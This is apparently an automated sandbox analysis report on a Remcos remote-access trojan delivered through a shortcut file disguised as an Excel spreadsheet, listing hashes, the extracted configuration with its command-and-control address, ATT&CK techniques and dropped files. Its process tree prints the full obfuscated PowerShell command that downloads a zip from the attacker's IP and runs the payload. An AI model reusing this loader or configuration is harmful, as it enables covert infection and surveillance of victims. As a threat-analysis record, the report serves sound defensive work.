remcos | 50b628bc603d846c04ab5dc56a5bc40b32b219c29211661f663ec7bb160a0554

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
06-09-2024 11:25

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General

Target

rv_luti_2024_roku.xlsx.lnk
Size

32KB
MD5

bbcc000caf3fff5b3025da99cff2aa45
SHA1

89a89db57a5b286b16d8d0a82903a4f256584bb5
SHA256

3e5adec34d0e3567b3eed2c917eaac783ff3eb19c2a1154339ebd1b2497f1e24
SHA512

1eecf2183c2909e642904dc023256b8f1437a25d59c541afa53b6eff4c9f727ef1fcdc3a7507f94e5d75ba490263c5a0fa2be95a1cfc4734a07a874d4bba56e1
SSDEEP

48:88muavUQSSE1I3fxvUZ7sEmOxCCevUZ731EdCZFXuGdZTa7x:88y8EE1YfxHERxCVybuKQ

Score

10^/10

remcos stalagg discovery rat

Malware Config

Extracted

Family

remcos

Botnet

stalagg

5.181.156.117:8576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-5TL39W
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2796	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
2368	scr_previw.exe
4460	scr_previw.exe

Loads dropped DLL 2 IoCs

pid	Process
2368	scr_previw.exe
4460	scr_previw.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4460 set thread context of 2320	4460	scr_previw.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scr_previw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scr_previw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3232	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2796	powershell.exe
2796	powershell.exe
2368	scr_previw.exe
4460	scr_previw.exe
4460	scr_previw.exe
2320	cmd.exe
2320	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4460	scr_previw.exe
2320	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2928 wrote to memory of 2796	2928	cmd.exe	84
PID 2928 wrote to memory of 2796	2928	cmd.exe	84
PID 2796 wrote to memory of 2368	2796	powershell.exe	94
PID 2796 wrote to memory of 2368	2796	powershell.exe	94
PID 2796 wrote to memory of 2368	2796	powershell.exe	94
PID 2796 wrote to memory of 3232	2796	powershell.exe	95
PID 2796 wrote to memory of 3232	2796	powershell.exe	95
PID 2796 wrote to memory of 3232	2796	powershell.exe	95
PID 2368 wrote to memory of 4460	2368	scr_previw.exe	96
PID 2368 wrote to memory of 4460	2368	scr_previw.exe	96
PID 2368 wrote to memory of 4460	2368	scr_previw.exe	96
PID 4460 wrote to memory of 2320	4460	scr_previw.exe	97
PID 4460 wrote to memory of 2320	4460	scr_previw.exe	97
PID 4460 wrote to memory of 2320	4460	scr_previw.exe	97
PID 3232 wrote to memory of 5008	3232	EXCEL.EXE	101
PID 3232 wrote to memory of 5008	3232	EXCEL.EXE	101
PID 4460 wrote to memory of 2320	4460	scr_previw.exe	97
PID 2320 wrote to memory of 2464	2320	cmd.exe	108
PID 2320 wrote to memory of 2464	2320	cmd.exe	108
PID 2320 wrote to memory of 2464	2320	cmd.exe	108
PID 2320 wrote to memory of 2464	2320	cmd.exe	108
PID 2320 wrote to memory of 2464	2320	cmd.exe	108

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\rv_luti_2024_roku.xlsx.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo mDDkSKPeKSnmyhDKrRrfgmsmeF; echo anUGxZjKUCNgLKMBbyEjctOscTtBFAQROSENvflIdGfTRJUxVqfCL; echo ykxRyjMJeSrZAgkrYWGta; if (-not(Test-Path 'glorytoukraine.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/glorytoukraine.zip -OutFile glorytoukraine.zip}; echo EMNQacYrNXHyebrpmkIKUbKIwHYVxkqDyqbnvplWDcpbb; Expand-Archive -Path glorytoukraine.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/scr_previw.exe; echo XbwVjPDNPkbnuGZQfsRvcJknOPJXCFbqSFCKR; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/racs/rv_luti_2024_roku.xlsx -OutFile rv_luti_2024_roku.xlsx; echo zqCIRBDMssIzkDEUagHLMaYQOxVloBQv; s''t''a''rt rv_luti_2024_roku.xlsx
  2⤵
  - Blocklisted process makes network request
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe
    "C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2368
  - - C:\Users\Admin\AppData\Roaming\SuperSync_test\scr_previw.exe
      C:\Users\Admin\AppData\Roaming\SuperSync_test\scr_previw.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4460
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:2320
      - C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2464
- - C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\rv_luti_2024_roku.xlsx"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3232
  - - C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      4⤵
      PID:5008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\236a1896

Filesize
1.2MB

MD5
5cf75b5e5be210b4ff9135f860c319af

SHA1
f5f98457bec6d158fb41f38f850684184e7bcc7f

SHA256
2e7af787386f49f664293f2e684df6b95fa6531e6cc91368a02ede692e029ba5

SHA512
3706a14c0696a30a9cce579998f96be8b3c49b943fde117123684fda5d38885792b595a0b23b475b46b4503951e5f7bcc0864cc4a0be851d599f2cc0d1a1fee8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ckjhrvdv.osm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
274B

MD5
159d3322b89a7791a7abb7e992f5e017

SHA1
c985a3d73b315550622707e39fa2f7c16d63ebda

SHA256
bbbb4b06db6a97e44b9b34c4abcbf2a607b5b610b6052c0cbbf3acbb0c0773da

SHA512
9e73541bffcd2b98bec1a3f3a30f383223e7a174435779b22b7f221c450a2b69369d12c61af589d737c4001594bdeb4f27c56976b4f44184e45db30ae62d4d95

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
670B

MD5
b51a6bf4b6030da80cf3b2b923f7ba41

SHA1
69b84cdb94309b60cea15ea1b0ed82b32c87634b

SHA256
d05f0a92b7efadba5866a0f09d2626d6f42bb7f7db15f8c19355f3775badece4

SHA512
eac77806f4032d8336d2d7aa226a352ea286652232393ec12b4a0f1999c7211b422206ebf85f99e0947dc1df49511aecafaaad2e7edaffa9c58bdd2fd3986ac8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
3903fef58873da742093b1d881e233e7

SHA1
eef62a3144cae70e4720098ebfb337b6fc2d3f46

SHA256
88ef8a63000782ff3ae1883e0494496c841bb98da8a901159b7581e84540e5fd

SHA512
698e39f1eca6b9ad862b8081b995f8e51fb6caa4130209bba0fea7c29f307f56d8bed6240092b355ae6326faf56856571b683bfe5a87a7b04d520f4641bfc338

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\d3dx9_43.dll

Filesize
1.9MB

MD5
46e435aecb557fcb16ae2ea3b22ab7fd

SHA1
5290156599fd9575c4401c80949ad5672fe64da5

SHA256
70e0b720bb461503acbd947a8355fb629d703b8d7f99ddfbb09a0c71886861da

SHA512
621010aa44868062361c6dbb670f8664c370ddcb0afbb5835765470522c03bb5ac779e86236cfffdcf343cbc582f81beacd2a7108d78c90d4dfc4c38e7d23bb3

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\rnyt

Filesize
1.0MB

MD5
289d2d639e058b63ebe16bd8d543115d

SHA1
969736e5f6a2c416f556e2f73358020573486afc

SHA256
f21bf56c8d15824dc1cf4108725f73154b88a89ab23f00a7f8dbb2d2de8e2568

SHA512
7adf83c9795d9705c4c1345422d17ad26b6d4f27a8242674f44b2d2a05080e532d9a64c43803164bf25c4e9eb5cac7a0d3789d71e9f34b46b5b9c6203fad65aa

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe

Filesize
2.2MB

MD5
d9530ecee42acccfd3871672a511bc9e

SHA1
89b4d2406f1294bd699ef231a4def5f495f12778

SHA256
81e04f9a131534acc0e9de08718c062d3d74c80c7f168ec7e699cd4b2bd0f280

SHA512
d5f048ea995affdf9893ec4c5ac5eb188b6714f5b6712e0b5a316702033421b145b8ee6a62d303eb4576bf8f57273ff35c5d675807563a31157136f79d8a9980

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\tkjm

Filesize
80KB

MD5
cae9827c507632c4a1980479c21a42a2

SHA1
d9a1c5900a93066645bf8fb7c79dacf56f3eaa3e

SHA256
efeec4c2f612130ec81f3796bba26471e14dcf97b0e22247b7c7f40ad2eba0cf

SHA512
441fb631ed26bfe5b84c4fd267a43fbacc64e0adae0e90d0d8e11a248fa2ab47d43a54f1cc3903532943d158d87a2e236976830834545b0d13471731b6f61768

Download Submit
C:\Users\Admin\AppData\Roaming\rv_luti_2024_roku.xlsx

Filesize
32KB

MD5
21046015d5d9ef5e536ac7643b1ab365

SHA1
f3bcd22d8e9b5ad1c2e17b42d5684421b2ddfb05

SHA256
7a94cedcc9624dbe8eb4ad818fbaf2a53f9ca0fe2ff28b3000a597e034b520bd

SHA512
d63030de97a378e9bb73ce53f589c75f1da9e6fb3998da02680a9396b75ebf6773119d61e5663c007379c85413a8d023e1df2323038314d357ac64bd770b9c9e

Download Submit
memory/2320-98-0x00007FFFFD270000-0x00007FFFFD465000-memory.dmp

Filesize
2.0MB

Download
memory/2320-109-0x0000000075380000-0x00000000754FB000-memory.dmp

Filesize
1.5MB

Download
memory/2368-46-0x00007FFFFD270000-0x00007FFFFD465000-memory.dmp

Filesize
2.0MB

Download
memory/2368-41-0x0000000074670000-0x00000000747EB000-memory.dmp

Filesize
1.5MB

Download
memory/2464-112-0x0000000001050000-0x00000000010D4000-memory.dmp

Filesize
528KB

Download
memory/2464-111-0x00007FFFFD270000-0x00007FFFFD465000-memory.dmp

Filesize
2.0MB

Download
memory/2464-143-0x0000000001050000-0x00000000010D4000-memory.dmp

Filesize
528KB

Download
memory/2464-142-0x0000000001050000-0x00000000010D4000-memory.dmp

Filesize
528KB

Download
memory/2464-141-0x0000000001050000-0x00000000010D4000-memory.dmp

Filesize
528KB

Download
memory/2464-132-0x0000000001050000-0x00000000010D4000-memory.dmp

Filesize
528KB

Download
memory/2464-123-0x0000000001050000-0x00000000010D4000-memory.dmp

Filesize
528KB

Download
memory/2464-122-0x0000000001050000-0x00000000010D4000-memory.dmp

Filesize
528KB

Download
memory/2464-121-0x0000000001050000-0x00000000010D4000-memory.dmp

Filesize
528KB

Download
memory/2464-116-0x0000000001050000-0x00000000010D4000-memory.dmp

Filesize
528KB

Download
memory/2464-115-0x0000000001050000-0x00000000010D4000-memory.dmp

Filesize
528KB

Download
memory/2796-3-0x000001B7B3970000-0x000001B7B3992000-memory.dmp

Filesize
136KB

Download
memory/2796-2-0x00007FFFDEE53000-0x00007FFFDEE55000-memory.dmp

Filesize
8KB

Download
memory/2796-18-0x000001B79B7E0000-0x000001B79B7EA000-memory.dmp

Filesize
40KB

Download
memory/2796-16-0x00007FFFDEE50000-0x00007FFFDF911000-memory.dmp

Filesize
10.8MB

Download
memory/2796-14-0x00007FFFDEE50000-0x00007FFFDF911000-memory.dmp

Filesize
10.8MB

Download
memory/2796-13-0x00007FFFDEE50000-0x00007FFFDF911000-memory.dmp

Filesize
10.8MB

Download
memory/2796-45-0x00007FFFDEE50000-0x00007FFFDF911000-memory.dmp

Filesize
10.8MB

Download
memory/2796-17-0x000001B7B5EB0000-0x000001B7B5EC2000-memory.dmp

Filesize
72KB

Download
memory/3232-48-0x00007FFFBD2F0000-0x00007FFFBD300000-memory.dmp

Filesize
64KB

Download
memory/3232-137-0x00007FFFBD2F0000-0x00007FFFBD300000-memory.dmp

Filesize
64KB

Download
memory/3232-47-0x00007FFFBD2F0000-0x00007FFFBD300000-memory.dmp

Filesize
64KB

Download
memory/3232-49-0x00007FFFBD2F0000-0x00007FFFBD300000-memory.dmp

Filesize
64KB

Download
memory/3232-65-0x00007FFFBA9E0000-0x00007FFFBA9F0000-memory.dmp

Filesize
64KB

Download
memory/3232-55-0x00007FFFBD2F0000-0x00007FFFBD300000-memory.dmp

Filesize
64KB

Download
memory/3232-62-0x00007FFFBA9E0000-0x00007FFFBA9F0000-memory.dmp

Filesize
64KB

Download
memory/3232-50-0x00007FFFBD2F0000-0x00007FFFBD300000-memory.dmp

Filesize
64KB

Download
memory/3232-140-0x00007FFFBD2F0000-0x00007FFFBD300000-memory.dmp

Filesize
64KB

Download
memory/3232-138-0x00007FFFBD2F0000-0x00007FFFBD300000-memory.dmp

Filesize
64KB

Download
memory/3232-139-0x00007FFFBD2F0000-0x00007FFFBD300000-memory.dmp

Filesize
64KB

Download
memory/4460-64-0x0000000075380000-0x00000000754FB000-memory.dmp

Filesize
1.5MB

Download
memory/4460-66-0x00007FFFFD270000-0x00007FFFFD465000-memory.dmp

Filesize
2.0MB

Download
memory/4460-89-0x0000000075380000-0x00000000754FB000-memory.dmp

Filesize
1.5MB

Download